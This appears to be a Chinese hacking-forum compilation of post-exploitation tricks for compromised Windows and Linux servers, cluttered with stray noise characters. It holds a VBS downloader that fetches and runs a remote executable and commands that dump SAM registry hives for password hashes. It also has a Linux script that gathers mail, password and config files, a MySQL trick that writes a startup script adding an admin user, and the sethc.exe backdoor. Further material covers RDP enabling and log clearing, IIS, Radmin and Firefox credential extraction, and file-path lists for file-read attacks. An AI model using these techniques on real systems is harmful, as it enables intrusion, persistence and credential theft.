——————————————
$ `8 Y2 t+ A) C3 z( q感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- [" U8 ^+ B. l3 oalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
. J* d/ G, o" _{
注：
$ n9 N) F* N2 E" m5 T关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
( k2 k' ~: Z, x3 G: ?& F& d
提权先执行systeminfo
token 漏洞补丁号 KB956572
- j# j9 G8 v4 V5 i* c8 D# nChurrasco          kb952004
命令行RAR打包~~·
, f/ f% l( C6 \) _$ x5 h3 grar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
! L! z9 X4 r( b* e! Z& p& U2、收集系统信息的脚本  
for window：
% |2 t; `4 E. r, O, U
3 O. B" i5 b  H5 s) F6 J& A" i@echo off
$ z1 E9 N. Y$ ~  y! t! D6 qecho #########system info collection
" j4 p8 \& E5 ]$ ssysteminfo
' p  Q8 Q+ s2 T3 Q# n' Over
hostname
7 ^6 n' Q" u% v& s. N) Mnet user
) X  s1 u/ ~  a, dnet localgroup
net localgroup administrators
9 ^8 L$ x5 D  s( J0 Xnet user guest
8 W* ?5 B) S8 T4 B# D0 wnet user administrator

echo #######at- with   atq#####
echo schtask /query
' ]" J6 a# y% d* I8 D
. |+ d( @: a: K4 Q7 ~* Hecho
- W; S# r4 e9 H) b0 A1 }' W1 e) Techo ####task-list#############
& n( \5 `4 z% Ytasklist /svc
echo
2 ^% @+ E% S; J- g* oecho ####net-work infomation
; j, ~5 i; B7 V7 n: y. j  Gipconfig/all
) ]8 f9 d3 N; v* k4 d  froute print
2 p/ b7 S0 M! N5 v4 l8 }arp -a
+ \) t% ]. S" I5 I8 l, q* F" i4 anetstat -anipconfig /displaydns
/ I' U) z$ V1 {& \7 H# yecho
: D7 A* p8 q! a- Recho #######service############
7 n1 y' V" B2 H( h6 Psc query type= service state= all
5 w$ O9 w0 W% q# ?( D1 becho #######file-##############
$ M$ f4 I' N. y: Acd \
. h# k. y# F2 G4 y. Dtree -F
for linux：
0 m! {' W$ C/ c4 z  y) Y
#!/bin/bash
+ m& s9 O( y$ g& W7 T" i* {2 t
0 u& G8 }4 @8 J* e0 n3 O+ iecho #######geting sysinfo####
0 _+ F: Q6 p6 F1 l# V$ @5 |) Iecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
0 [3 S1 C; J$ H' H3 L4 P######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
: `' O& p: d4 N" J  aecho ###atq&crontab#####
atq
crontab -l
1 O0 `6 U( x7 Q/ p; e4 kecho #####about var#####
4 V3 V! u! Y; a! ?$ rset
- e, x7 Q) w6 {8 g& O! h
( T) F: e3 _1 o" u" Oecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
( W- u: C* R: D% [hostname
& ~$ m$ M+ m( e& X& @' {$ r% oipconfig -a
" }9 @+ V# M7 ~1 O1 n1 marp -v
; V% U. Q  Z5 A( fecho ########user####
cat /etc/passwd|grep -i sh
  u7 H/ B+ C+ n! i. m
! x8 H' {1 u6 P, M; D5 Secho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
7 [6 I- m2 Q+ G9 ?, F. |) mdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
9 ^, G' Q( ?1 x6 X, |6 H9 V  @- p# {sleep 5
6 O$ n0 V& T# E# F! j( ]locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
7 f5 d! s" h9 R# V" X! D( Msleep 5

###maybe can use "tree /"###
echo ##packing up#########
/ v: X% T) D0 Y5 Htar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
/ P% E, O+ v4 Z! Z( Z" ]' Qrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
- ~6 W# C0 p# p9 f! ]# {/ a+ `3、ethash 不免杀怎么获取本机hash。
$ r  ?; ?, K$ [8 g+ w1 ]首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
. T) m& \4 }! m% k& ?注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
. m; k! q* {" @2 @( b, @/ Q+ U% A——————————————
4、vbs 下载者
1
  Z1 y( R6 L6 p7 n9 x' M, iecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
+ H4 N( W$ j- i9 a0 D; p$ \echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
7 N" t: h; C+ C3 p% F+ `* k" Kecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
: N6 M2 a! g% t0 ^% ~echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
* @0 ?" }7 ?; D. }, bSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
5 v0 G" t6 V9 S8 i" csGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

: d& n- i6 p$ e. W4 Ncscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
/ O+ C+ |7 C: M& P* x) u——————————————————
8 g! c; l/ j# w, a5、
1.查询终端端口
0 M% n( [; Q2 w- rREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
( [, ]2 }; s. I" b1 K' C: SREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
8 w2 D! a9 r3 Z9 S3.更改终端端口为2008(0x7d8)
  l( {. X6 D2 X7 D3 d) oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
; H4 k) c1 Q$ X" L! z8 w( R* |4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
2 M7 q: V9 S8 `  n————————————————
6、create table a (cmd text);
) {, F+ d! K# X: ~' l1 g; kinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
- f" W: y! O# j2 Z/ ?7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
$ u6 r: @, i+ E  n  z$ v( _  @_____
. O+ G# ^8 x, m3 i# w- j8、for /d %i in (d:\freehost\*) do @echo %i
6 f3 r% b4 N; P. {) e
列出d的所有目录
  
1 y& i$ S3 |# G7 H0 o  for /d %i in (???) do @echo %i
1 ~  c% Q4 a! a! A& P6 F, T. K2 ]" q
9 x' M8 R! I/ ?: t. O  j5 j把当前路径下文件夹的名字只有1-3个字母的打出来

! o6 p, b- N! f; h: z" C- B0 P7 A2.for /r %i in (*.exe) do @echo %i
  
2 v4 O# H' B$ P3 j以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

# w' l; |) ]2 ]- ~+ b( ^for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
% A+ q+ M/ f  h+ U  K
. W+ l: U1 `; B7 A3 Z0 P3.for /f %i in (c:\1.txt) do echo %i
* N% e+ A6 \+ y; |  
. X( W; _& v8 b, g! a  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

0 M9 s6 i' Y: d# G: M4 A, _4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
+ U' h2 U+ j6 L7 c) U8 r1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
: g( f. G0 R2 H7 r& j3 u
! w& [& z# @7 B% L, P# v2 @  g% c2.修改3389的默认端口:
, D6 `: A4 [, r0 }8 U+ GHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

' \1 B/ s! ^+ P3.清除3389登录记录:
- U% s4 n' W! |8 H% Kreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

1 g+ r( s/ F5 n3 x0 T9 C5.禁用TCP/IP端口筛选(需重启):
) {8 f' M  p) b9 @  @REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
$ ~" O1 v: y  j7 i3 a& r或者
  p$ D1 T; X, _netsh ipsec dynamic set config ipsecexempt value=0
4 p% u+ b0 J8 r  F2 L- L4 G
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
- X- g* r$ k8 Creg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
( F) Y) k3 W  G- I2 C7 M8 W
# R: L* w! k  m# V9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
0 o! G2 R0 m7 [( P. F2 l5 I3 k
; a5 D( `3 c" q( R7 `10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

* \$ n8 U& |0 c1 ]reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
' Z  @, s% p: t: \: o6 d) i-----------------------------------
  Z; Y1 X' ]/ y" [星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
3 j$ m3 u* A7 V% J7 c( Gset IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 P" Z+ d# D' ~# ~if err.number<>0 then
6 Q: Z2 m  |+ j" a; e1 x( Rexit for
4 w2 A5 n4 l' E7 Y* ]msgbox("error!")
* N. O  _( o2 T, Q/ f# o$ ]wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
) |; T$ T6 S! p: Bset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
5 |" V% X" M; J4 \1 Uend if
Next
1 R1 f+ @3 z2 x& T2 }' kwscript.echo list
- t, k! y: L6 Z5 jSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
8 G6 s$ z- M7 l$ f  K. SWScript.Quit
# `: u7 h: S$ C9 ^2 k/ @复制代码
  I. k. z7 U# [6 C) E$ e----------------------2011新气象，欢迎各位补充、指正、优化。----------------
9 O2 x1 r  @! g$ y, H9 `- ?1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
& Y+ u3 f3 W3 j7 c7 H( A* A将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
% ]4 l: Y4 G# ^! ~* x& l8 H然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
# [/ A; S, [+ M+ |# A, m; ~asp代码，利用的时候会出现登录问题
' H. t9 N5 S4 p 原因是ASP大马里有这样的代码：（没有就没事儿了）
* m8 B5 O8 [  m* t% V) a url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
7 \2 I  L8 \9 ]2 d7 q path_info可以直接呈现虚拟路径 顺利解析gif大马
3 e6 _- I& x4 @8 a0 h6 c3 k1 j
==============================================================
LINUX常见路径：

/etc/passwd
! y5 v3 @4 b3 d# }/etc/shadow
/etc/fstab
) u. W+ ~/ ^5 n, D/etc/host.conf
/etc/motd
/etc/ld.so.conf
$ ^1 C( f  I, I6 l3 v2 a  `/var/www/htdocs/index.php
# [/ H6 s4 ~, r( [, R9 M/var/www/conf/httpd.conf
4 q0 X& K& N, |: V/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
& I: l( C/ }; X4 t$ @; h% {/var/www/index.php
/opt/www/conf/httpd.conf
. Y5 X  C: |! y, k/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
% g4 `& }* U+ k* c' c5 ^/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
4 R2 \& M! C# x, w/usr/local/apache2/htdocs/index.php
' n8 ~. t- O% U) m9 G0 v0 _0 y/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
1 J. ]) V* }; ]2 Z/tmp/apache/htdocs/index.php
5 U7 f6 `  Y3 |7 Q  C/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
- `8 G7 K+ @6 W& J! }/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
  |( B" g- S1 T/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
$ ^& ?& [  X& m; d2 R" k5 _; x. q( t9 z/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
- F# I7 U% |. O7 ]$ F0 M2 E  M+ Q1 N/etc/apache2/apache.conf
& B8 a( M6 o) }/ ]3 O" l/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
, h& Q9 l; r- X4 r  b$ \/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
7 w- F% i6 k) `  Z6 B0 O4 S/etc/mysql/my.cnf
; p4 U" k( t* G1 D4 ?% S  B4 {5 W/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
, i) c3 P3 p9 x8 \% \/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
6 Q1 V( c* F' R; p/home/apache/conf/httpd.conf
+ O8 D. c, u. b9 w& x# Q) d( B8 r' Q/home/apache2/conf/httpd.conf
9 Q/ q! t4 I* @* I/var/log/apache/error_log
/var/log/apache/error.log
) j# E$ k1 q1 n3 s/var/log/apache/access_log
/var/log/apache/access.log
" q0 |! m7 c5 L' L% C/var/log/apache2/error_log
5 V& R$ F- `% c3 v" h/var/log/apache2/error.log
) i& U& c) d" y' y, s7 O# ^: c) R/var/log/apache2/access_log
/var/log/apache2/access.log
% ^$ A/ q) m  d$ G" E+ x. l/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
0 i3 m8 z& o" J* K  s1 ~/var/www/logs/access.log
' K8 x0 }7 @  X: n- I/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
4 P( K( z) s: I* l9 D/usr/local/apache/logs/access.log
9 O9 T, R9 D% J4 }/var/log/error_log
/var/log/error.log
0 t0 V0 h. y; }  L* Z. z! A/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
0 x0 |6 ~; T' n/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
1 {4 X$ O5 v6 i# }% o9 j/usr/lib/php/php.ini
3 W. j* O' r& N6 c/usr/local/etc/php.ini
/usr/local/lib/php.ini
8 w2 R( i( F% d. X: R1 Q/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
; {* l! N) f- X& B: {" t/usr/local/php4/php.ini
2 g( s, X1 Y9 j  ?7 J+ ?/usr/local/php4/lib/php.ini
" R8 B6 G. p; i( F/usr/local/php5/lib/php.ini
1 J8 @( |) C+ A% {/usr/local/php5/etc/php.ini
% ]5 N( E* n' N/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
, t& W! z" G1 e1 z' K/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
% e: L! m& }+ L: Q  A9 o/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
; a- ^- U3 `  w9 M8 ~, P( _/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
- V. V# B' D# c, E4 [: F+ ?1 n7 r/etc/php/apache2/php.ini
! F4 t# j' ~, z" q* J' O' L/web/conf/php.ini
/usr/local/Zend/etc/php.ini
) L- a4 p8 |% e2 t& F& ~1 |/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
4 Z! F8 F9 N% P% d+ n$ m! e/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
1 n6 i* S: W* |  O; f* a" a/etc/php4/cgi/php.ini
/ _! J  L7 E4 ]" S/ z/etc/php5/cgi/php.ini
) j/ e! a0 K4 H0 L* v" J! C- @/php5/php.ini
/php4/php.ini
+ \+ z6 B; {" C7 v" w: {8 V: h# c/php/php.ini
/PHP/php.ini
9 _% ^& ]' r2 {& X, @% Q/apache/php/php.ini
: d" z& s7 a: e/ m) M: S/ ^/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
8 \, Q7 G1 A! [; z/ ]* M5 L/var/log/mysql.log
/var/log/mysqlderror.log
" F: `# H# d1 @& R/var/log/mysql/mysql.log
1 d3 g+ Z9 I0 h4 s0 p0 c9 v/var/log/mysql/mysql-slow.log
0 U4 K& k4 P" X. y/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
0 V( s6 a, s( [- v0 }/etc/mysql/my.cnf
  D8 d1 l$ I$ C" _% F7 [/etc/my.cnf
( F& G# y8 m+ B2 q  ~, [/usr/local/cpanel/logs
0 u9 C# `% y8 I8 V* b/usr/local/cpanel/logs/stats_log
5 T, w# }1 O2 g8 m9 _- {' ?$ N3 }/usr/local/cpanel/logs/access_log
- X8 b. O9 ^- I& @9 D8 X( Z0 s/usr/local/cpanel/logs/error_log
5 c5 P6 R' V* k% }% Q/usr/local/cpanel/logs/license_log
, o% B8 t/ {' o/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
# i* _' @8 \; T# H) l/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
& v; V9 S, M% H0 c$ o( D
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
2 c$ b; F8 z4 d
$ |9 G: M3 G$ e9 p0 _c:\windows\php.ini
c:\boot.ini
c:\1.txt
$ g4 s# J% M5 p5 c; Fc:\a.txt
* R) R) H5 P" D# w
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
! x1 l) y( C& B+ W9 gc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
; F4 b) T0 x  a9 a! B6 XC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

5 E9 _- J" ?( F/ M) E/ Z0 ^* j  rc:\hzhost\databases\url.asp
, a5 W3 e. c* w  p2 ?* `  h
9 U7 i$ D4 N) _+ `- U1 P* _c:\hzhost\hzclient.exe
( g1 t/ }9 D7 S) ]2 g0 q  jC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 {5 _) E6 C7 E; M
/ k5 k, V3 M+ E+ i: j) kC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
+ C1 T7 Q& d6 B, x) h2 g3 E% Hc:\web\index.html
: ]2 m! x0 _$ m5 c( I( i: Zc:\www\index.html
c:\WWWROOT\index.html
! [9 J( x: ^% @0 Nc:\website\index.html
1 J# E" u: ~3 t, D( m: V2 Z& [# Rc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
5 A7 `, Z& a2 h6 a- a! tc:\web\index.php
$ w/ i+ X" ~5 m6 g6 J6 V% kc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
" K5 f! ~3 N) X  c* ]4 X8 Yc:\web\default.html
! I' n# J; G, p  d& Xc:\www\default.html
c:\WWWROOT\default.html
7 j3 i/ L: ]( I4 yc:\website\default.html
' n: `  Q4 y- ]6 U' \. Xc:\web\default.asp
c:\www\default.asp
6 {: \. _4 ]. m3 l% `2 V$ ~c:\wwwsite\default.asp
; a# O( m# F5 xc:\WWWROOT\default.asp
- g( X& J3 `) {# Wc:\web\default.php
c:\www\default.php
) J6 A$ Z" H+ \2 Wc:\WWWROOT\default.php
c:\WWWsite\default.php
9 p- v  q) w4 D  A+ B. U6 cC:\Inetpub\wwwroot\pagerror.gif
: k7 `$ k) |3 u" k2 C& `c:\windows\notepad.exe
c:\winnt\notepad.exe
. ~5 B& J! ^& k, r9 xC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
4 P' J; u  {. u6 |, H& pC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
" a8 S% l! H) ]# _' X# jc:\rising.ini
* C7 b4 @" K/ N  AC:\Program Files\Rising\Rav\RsTask.xml
2 s, i, k! _! @C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
0 |6 u+ Q7 A* _: ^' v# EC:\Documents and Settings\Administrator\My Documents\a.txt
6 Z( G/ v4 ]  \% X8 EC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
1 K+ \( y1 K2 _C:\Program Files\Symantec\SYMEVENT.INF
! {" I0 C5 {" i8 n4 NC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
  T' F5 R9 z4 V' q7 DC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
6 C, n8 K( e# {$ J9 k5 \% }7 \; \- WC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
5 q9 Z' N. ^; X; uC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
& m5 F( ]$ Y! s  p3 `9 N! @C:\MySQL\MySQL Server 5.0\my.ini
. t7 M& P- v+ [C:\Program Files\MySQL\MySQL Server 5.0\my.ini
& m- }" {# I; [1 t7 J2 IC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
: \* H- Y: X6 E7 k  AC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
% K# z: R0 s0 w8 P" @+ U: rc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 r) K, @1 s/ h- ~# v$ hC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
: ?) y9 I$ H/ t( B) A) SC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
- _$ Q3 }8 o3 YC:\WINDOWS\system32\config\system
8 z, C; |" z) Jc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
2 W5 g  \; A4 T, H) O* Mc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
' u* v6 D4 \$ d3 Y0 T: Pc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
. m: F; ]# i* s; w9 p9 iC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
& a1 E3 K+ E8 d% I/usr/tomcat6/bin/startup.sh
! [8 B4 u* l, i- lc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
6 Z: [5 {1 ~. ~! g9 cc:\Program Files\Tencent\qq\qq.exe
. u1 x' \) V$ w6 Qc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
1 ]& g% I0 `$ z- N& nc:\Program Files\Tencent\qq2008\qq.exe
# L8 {7 [( [  N/ Ec:\Program Files\Tencent\qq2010\bin\qq.exe
0 W( |$ J) b' |" d$ j. Y" Z' B/ H9 uc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
7 D, a4 j0 q! q5 ~C:\Program Files\Foxmal\Foxmail.exe
